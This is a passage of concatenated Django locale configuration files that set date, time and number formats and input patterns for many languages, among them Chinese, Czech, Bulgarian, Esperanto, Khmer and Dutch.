TIME_INPUT_FORMATS = [
    '%H:%M',        # '20:45'
    '%H:%M:%S',     # '20:45:29'
    '%H:%M:%S.%f',  # '20:45:29.000200'
]

DATETIME_INPUT_FORMATS = [
    '%Y/%m/%d %H:%M',           # '2016/09/05 20:45'
    '%Y-%m-%d %H:%M',           # '2016-09-05 20:45'
    '%Y年%n月%j日 %H:%M',        # '2016年9月5日 14:45'
    '%Y/%m/%d %H:%M:%S',        # '2016/09/05 20:45:29'
    '%Y-%m-%d %H:%M:%S',        # '2016-09-05 20:45:29'
    '%Y年%n月%j日 %H:%M:%S',     # '2016年9月5日 20:45:29'
    '%Y/%m/%d %H:%M:%S.%f',     # '2016/09/05 20:45:29.000200'
    '%Y-%m-%d %H:%M:%S.%f',     # '2016-09-05 20:45:29.000200'
    '%Y年%n月%j日 %H:%n:%S.%f',  # '2016年9月5日 20:45:29.000200'
]

DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ''
NUMBER_GROUPING = 4












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\a\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 0  # Sunday

DATE_INPUT_FORMATS = [
    # '31/12/2009', '31/12/09'
    '%d/%m/%Y', '%d/%m/%y'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]

DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. F Y H:i'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.m.Y'
SHORT_DATETIME_FORMAT = 'j.m.Y H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y', '%d.%m.%y',       # '25.10.2006', '25.10.06'
    '%d. %m. %Y', '%d. %m. %y',   # '25. 10. 2006', '25. 10. 06'
]

DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',       # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',    # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',          # '25.10.2006 14:30'
    '%d.%m.%Y',                # '25.10.2006'
    '%d.%m.%y %H:%M:%S',       # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',    # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',          # '25.10.06 14:30'
    '%d.%m.%y',                # '25.10.06'
    '%d. %m. %Y %H:%M:%S',     # '25. 10. 2006 14:30:59'
    '%d. %m. %Y %H:%M:%S.%f',  # '25. 10. 2006 14:30:59.000200'
    '%d. %m. %Y %H:%M',        # '25. 10. 2006 14:30'
    '%d. %m. %Y',              # '25. 10. 2006'
    '%d. %m. %y %H:%M:%S',     # '25. 10. 06 14:30:59'
    '%d. %m. %y %H:%M:%S.%f',  # '25. 10. 06 14:30:59.000200'
    '%d. %m. %y %H:%M',        # '25. 10. 06 14:30'
    '%d. %m. %y',              # '25. 10. 06'
]

DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\a\s H:i'
YEAR_MONTH_FORMAT = r'F \d\e Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday: ISO 8601
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',            # '25/10/2006', '25/10/06'
    '%Y%m%d',                          # '20061025'

]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j E Y г.'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j E Y г. G:i'
YEAR_MONTH_FORMAT = 'F Y г.'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd.m.Y'
SHORT_DATETIME_FORMAT = 'd.m.Y H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d.%m.%Y',  # '25.10.2006'
    '%d.%m.%y',  # '25.10.06'
]
DATETIME_INPUT_FORMATS = [
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F, Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M, Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
# DECIMAL_SEPARATOR =
# THOUSAND_SEPARATOR =
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. E Y.'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = 'j. E Y. H:i'
YEAR_MONTH_FORMAT = 'F Y.'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.m.Y.'
SHORT_DATETIME_FORMAT = 'j.m.Y. H:i'
FIRST_DAY_OF_WEEK = 1

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d',                     # '2006-10-25'
    '%d.%m.%Y.', '%d.%m.%y.',       # '25.10.2006.', '25.10.06.'
    '%d. %m. %Y.', '%d. %m. %y.',   # '25. 10. 2006.', '25. 10. 06.'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',        # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',     # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',           # '2006-10-25 14:30'
    '%Y-%m-%d',                 # '2006-10-25'
    '%d.%m.%Y. %H:%M:%S',       # '25.10.2006. 14:30:59'
    '%d.%m.%Y. %H:%M:%S.%f',    # '25.10.2006. 14:30:59.000200'
    '%d.%m.%Y. %H:%M',          # '25.10.2006. 14:30'
    '%d.%m.%Y.',                # '25.10.2006.'
    '%d.%m.%y. %H:%M:%S',       # '25.10.06. 14:30:59'
    '%d.%m.%y. %H:%M:%S.%f',    # '25.10.06. 14:30:59.000200'
    '%d.%m.%y. %H:%M',          # '25.10.06. 14:30'
    '%d.%m.%y.',                # '25.10.06.'
    '%d. %m. %Y. %H:%M:%S',     # '25. 10. 2006. 14:30:59'
    '%d. %m. %Y. %H:%M:%S.%f',  # '25. 10. 2006. 14:30:59.000200'
    '%d. %m. %Y. %H:%M',        # '25. 10. 2006. 14:30'
    '%d. %m. %Y.',              # '25. 10. 2006.'
    '%d. %m. %y. %H:%M:%S',     # '25. 10. 06. 14:30:59'
    '%d. %m. %y. %H:%M:%S.%f',  # '25. 10. 06. 14:30:59.000200'
    '%d. %m. %y. %H:%M',        # '25. 10. 06. 14:30'
    '%d. %m. %y.',              # '25. 10. 06.'
]

DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'l, j F, Y'
TIME_FORMAT = 'h:i a'
DATETIME_FORMAT = 'j F, Y h:i a'
YEAR_MONTH_FORMAT = 'F, Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j.M.Y'
SHORT_DATETIME_FORMAT = 'j.M.Y H:i'
FIRST_DAY_OF_WEEK = 1  # (Monday)

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y',     # '2006-10-25', '10/25/2006', '10/25/06'
    # '%d %b %Y', '%d %b, %Y', '%d %b. %Y',   # '25 Oct 2006', '25 Oct, 2006', '25 Oct. 2006'
    # '%d %B %Y', '%d %B, %Y',                # '25 October 2006', '25 October, 2006'
    # '%d.%m.%Y', '%d.%m.%y',                 # '25.10.2006', '25.10.06'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y',              # '25.10.06'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = " "
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j. F Y'
TIME_FORMAT = 'H:i'
# DATETIME_FORMAT =
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j. F'
SHORT_DATE_FORMAT = 'j.n.Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd-m-Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'd F Y'
TIME_FORMAT = 'g.i.A'
# DATETIME_FORMAT =
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'Y-m-d'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j ខែ F ឆ្នាំ Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = 'j ខែ F ឆ្នាំ Y, G:i'
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
SHORT_DATETIME_FORMAT = 'j M Y, G:i'
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j \d\e F \d\e Y'
TIME_FORMAT = 'G:i'
DATETIME_FORMAT = r'j \d\e F \d\e Y \a \l\e\s G:i'
YEAR_MONTH_FORMAT = r'F \d\e\l Y'
MONTH_DAY_FORMAT = r'j \d\e F'
SHORT_DATE_FORMAT = 'd/m/Y'
SHORT_DATETIME_FORMAT = 'd/m/Y G:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    # '31/12/2009', '31/12/09'
    '%d/%m/%Y', '%d/%m/%y'
]
DATETIME_INPUT_FORMATS = [
    '%d/%m/%Y %H:%M:%S',
    '%d/%m/%Y %H:%M:%S.%f',
    '%d/%m/%Y %H:%M',
    '%d/%m/%y %H:%M:%S',
    '%d/%m/%y %H:%M:%S.%f',
    '%d/%m/%y %H:%M',
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'g:i A'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'j M Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
# DECIMAL_SEPARATOR =
# THOUSAND_SEPARATOR =
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'N j, Y'
TIME_FORMAT = 'P'
DATETIME_FORMAT = 'N j, Y, P'
YEAR_MONTH_FORMAT = 'F Y'
MONTH_DAY_FORMAT = 'F j'
SHORT_DATE_FORMAT = 'm/d/Y'
SHORT_DATETIME_FORMAT = 'm/d/Y P'
FIRST_DAY_OF_WEEK = 0  # Sunday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# Kept ISO formats as they are in first position
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%m/%d/%Y', '%m/%d/%y',  # '2006-10-25', '10/25/2006', '10/25/06'
    # '%b %d %Y', '%b %d, %Y',            # 'Oct 25 2006', 'Oct 25, 2006'
    # '%d %b %Y', '%d %b, %Y',            # '25 Oct 2006', '25 Oct, 2006'
    # '%B %d %Y', '%B %d, %Y',            # 'October 25 2006', 'October 25, 2006'
    # '%d %B %Y', '%d %B, %Y',            # '25 October 2006', '25 October, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%Y-%m-%d',              # '2006-10-25'
    '%m/%d/%Y %H:%M:%S',     # '10/25/2006 14:30:59'
    '%m/%d/%Y %H:%M:%S.%f',  # '10/25/2006 14:30:59.000200'
    '%m/%d/%Y %H:%M',        # '10/25/2006 14:30'
    '%m/%d/%Y',              # '10/25/2006'
    '%m/%d/%y %H:%M:%S',     # '10/25/06 14:30:59'
    '%m/%d/%y %H:%M:%S.%f',  # '10/25/06 14:30:59.000200'
    '%m/%d/%y %H:%M',        # '10/25/06 14:30'
    '%m/%d/%y',              # '10/25/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'
TIME_FORMAT = 'G:i'
# DATETIME_FORMAT =
# YEAR_MONTH_FORMAT =
MONTH_DAY_FORMAT = 'j F'
SHORT_DATE_FORMAT = 'd.m.Y'
# SHORT_DATETIME_FORMAT =
# FIRST_DAY_OF_WEEK =

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
# DATE_INPUT_FORMATS =
# TIME_INPUT_FORMATS =
# DATETIME_INPUT_FORMATS =
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = ' '  # Non-breaking space
# NUMBER_GROUPING =












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'Y \m. E j \d.'
TIME_FORMAT = 'H:i'
DATETIME_FORMAT = r'Y \m. E j \d., H:i'
YEAR_MONTH_FORMAT = r'Y \m. F'
MONTH_DAY_FORMAT = r'E j \d.'
SHORT_DATE_FORMAT = 'Y-m-d'
SHORT_DATETIME_FORMAT = 'Y-m-d H:i'
FIRST_DAY_OF_WEEK = 1  # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%Y-%m-%d', '%d.%m.%Y', '%d.%m.%y',  # '2006-10-25', '25.10.2006', '25.10.06'
]
TIME_INPUT_FORMATS = [
    '%H:%M:%S',     # '14:30:59'
    '%H:%M:%S.%f',  # '14:30:59.000200'
    '%H:%M',        # '14:30'
    '%H.%M.%S',     # '14.30.59'
    '%H.%M.%S.%f',  # '14.30.59.000200'
    '%H.%M',        # '14.30'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',     # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',  # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',        # '2006-10-25 14:30'
    '%d.%m.%Y %H:%M:%S',     # '25.10.2006 14:30:59'
    '%d.%m.%Y %H:%M:%S.%f',  # '25.10.2006 14:30:59.000200'
    '%d.%m.%Y %H:%M',        # '25.10.2006 14:30'
    '%d.%m.%Y',              # '25.10.2006'
    '%d.%m.%y %H:%M:%S',     # '25.10.06 14:30:59'
    '%d.%m.%y %H:%M:%S.%f',  # '25.10.06 14:30:59.000200'
    '%d.%m.%y %H:%M',        # '25.10.06 14:30'
    '%d.%m.%y %H.%M.%S',     # '25.10.06 14.30.59'
    '%d.%m.%y %H.%M.%S.%f',  # '25.10.06 14.30.59.000200'
    '%d.%m.%y %H.%M',        # '25.10.06 14.30'
    '%d.%m.%y',              # '25.10.06'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '.'
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = r'j\-\a \d\e F Y'         # '26-a de julio 1887'
TIME_FORMAT = 'H:i'                     # '18:59'
DATETIME_FORMAT = r'j\-\a \d\e F Y\, \j\e H:i'  # '26-a de julio 1887, je 18:59'
YEAR_MONTH_FORMAT = r'F \d\e Y'         # 'julio de 1887'
MONTH_DAY_FORMAT = r'j\-\a \d\e F'      # '26-a de julio'
SHORT_DATE_FORMAT = 'Y-m-d'             # '1887-07-26'
SHORT_DATETIME_FORMAT = 'Y-m-d H:i'     # '1887-07-26 18:59'
FIRST_DAY_OF_WEEK = 1  # Monday (lundo)

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%Y-%m-%d',                         # '1887-07-26'
    '%y-%m-%d',                         # '87-07-26'
    '%Y %m %d',                         # '1887 07 26'
    '%d-a de %b %Y',                    # '26-a de jul 1887'
    '%d %b %Y',                         # '26 jul 1887'
    '%d-a de %B %Y',                    # '26-a de julio 1887'
    '%d %B %Y',                         # '26 julio 1887'
    '%d %m %Y',                         # '26 07 1887'
]
TIME_INPUT_FORMATS = [
    '%H:%M:%S',                         # '18:59:00'
    '%H:%M',                            # '18:59'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',                # '1887-07-26 18:59:00'
    '%Y-%m-%d %H:%M',                   # '1887-07-26 18:59'
    '%Y-%m-%d',                         # '1887-07-26'

    '%Y.%m.%d %H:%M:%S',                # '1887.07.26 18:59:00'
    '%Y.%m.%d %H:%M',                   # '1887.07.26 18:59'
    '%Y.%m.%d',                         # '1887.07.26'

    '%d/%m/%Y %H:%M:%S',                # '26/07/1887 18:59:00'
    '%d/%m/%Y %H:%M',                   # '26/07/1887 18:59'
    '%d/%m/%Y',                         # '26/07/1887'

    '%y-%m-%d %H:%M:%S',                # '87-07-26 18:59:00'
    '%y-%m-%d %H:%M',                   # '87-07-26 18:59'
    '%y-%m-%d',                         # '87-07-26'
]
DECIMAL_SEPARATOR = ','
THOUSAND_SEPARATOR = '\xa0'  # non-breaking space
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j M Y'                   # '25 Oct 2006'
TIME_FORMAT = 'P'                       # '2:30 p.m.'
DATETIME_FORMAT = 'j M Y, P'            # '25 Oct 2006, 2:30 p.m.'
YEAR_MONTH_FORMAT = 'F Y'               # 'October 2006'
MONTH_DAY_FORMAT = 'j F'                # '25 October'
SHORT_DATE_FORMAT = 'd/m/Y'             # '25/10/2006'
SHORT_DATETIME_FORMAT = 'd/m/Y P'       # '25/10/2006 2:30 p.m.'
FIRST_DAY_OF_WEEK = 1                   # Monday

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d/%m/%Y', '%d/%m/%y',             # '25/10/2006', '25/10/06'
    # '%b %d %Y', '%b %d, %Y',          # 'Oct 25 2006', 'Oct 25, 2006'
    # '%d %b %Y', '%d %b, %Y',          # '25 Oct 2006', '25 Oct, 2006'
    # '%B %d %Y', '%B %d, %Y',          # 'October 25 2006', 'October 25, 2006'
    # '%d %B %Y', '%d %B, %Y',          # '25 October 2006', '25 October, 2006'
]
DATETIME_INPUT_FORMATS = [
    '%Y-%m-%d %H:%M:%S',                # '2006-10-25 14:30:59'
    '%Y-%m-%d %H:%M:%S.%f',             # '2006-10-25 14:30:59.000200'
    '%Y-%m-%d %H:%M',                   # '2006-10-25 14:30'
    '%Y-%m-%d',                         # '2006-10-25'
    '%d/%m/%Y %H:%M:%S',                # '25/10/2006 14:30:59'
    '%d/%m/%Y %H:%M:%S.%f',             # '25/10/2006 14:30:59.000200'
    '%d/%m/%Y %H:%M',                   # '25/10/2006 14:30'
    '%d/%m/%Y',                         # '25/10/2006'
    '%d/%m/%y %H:%M:%S',                # '25/10/06 14:30:59'
    '%d/%m/%y %H:%M:%S.%f',             # '25/10/06 14:30:59.000200'
    '%d/%m/%y %H:%M',                   # '25/10/06 14:30'
    '%d/%m/%y',                         # '25/10/06'
]
DECIMAL_SEPARATOR = '.'
THOUSAND_SEPARATOR = ','
NUMBER_GROUPING = 3












# -*- encoding: utf-8 -*-
# This file is distributed under the same license as the Django package.
#
from __future__ import unicode_literals

# The *_FORMAT strings use the Django date format syntax,
# see http://docs.djangoproject.com/en/dev/ref/templates/builtins/#date
DATE_FORMAT = 'j F Y'                   # '20 januari 2009'
TIME_FORMAT = 'H:i'                     # '15:23'
DATETIME_FORMAT = 'j F Y H:i'           # '20 januari 2009 15:23'
YEAR_MONTH_FORMAT = 'F Y'               # 'januari 2009'
MONTH_DAY_FORMAT = 'j F'                # '20 januari'
SHORT_DATE_FORMAT = 'j-n-Y'             # '20-1-2009'
SHORT_DATETIME_FORMAT = 'j-n-Y H:i'     # '20-1-2009 15:23'
FIRST_DAY_OF_WEEK = 1                   # Monday (in Dutch 'maandag')

# The *_INPUT_FORMATS strings use the Python strftime format syntax,
# see http://docs.python.org/library/datetime.html#strftime-strptime-behavior
DATE_INPUT_FORMATS = [
    '%d-%m-%Y', '%d-%m-%y',             # '20-01-2009', '20-01-09'
    '%d/%m/%Y', '%d/%m/%y',             # '20/01/2009', '20/01/09'
    # '%d %b %Y', '%d %b %y',           # '20 jan 2009', '20 jan 09'
    # '%d %B %Y', '%d %B %y',           # '20 januari 2009', '20 januari 09'
]
# Kept ISO formats as one is in first position
TIME_INPUT_FORMATS = [
    '%H:%M:%S',                         # '15:23:35'
    '%H:%M:%S.%f',                      # '15:23:35.000200'
    '%H.%M:%S',                         # '15.23:35'
    '%H.%M:%S.%f',                      # '15.23:35.000200'
    '%H.%M',                            # '15.23'
    '%H:%M',                            # '15:23'
]
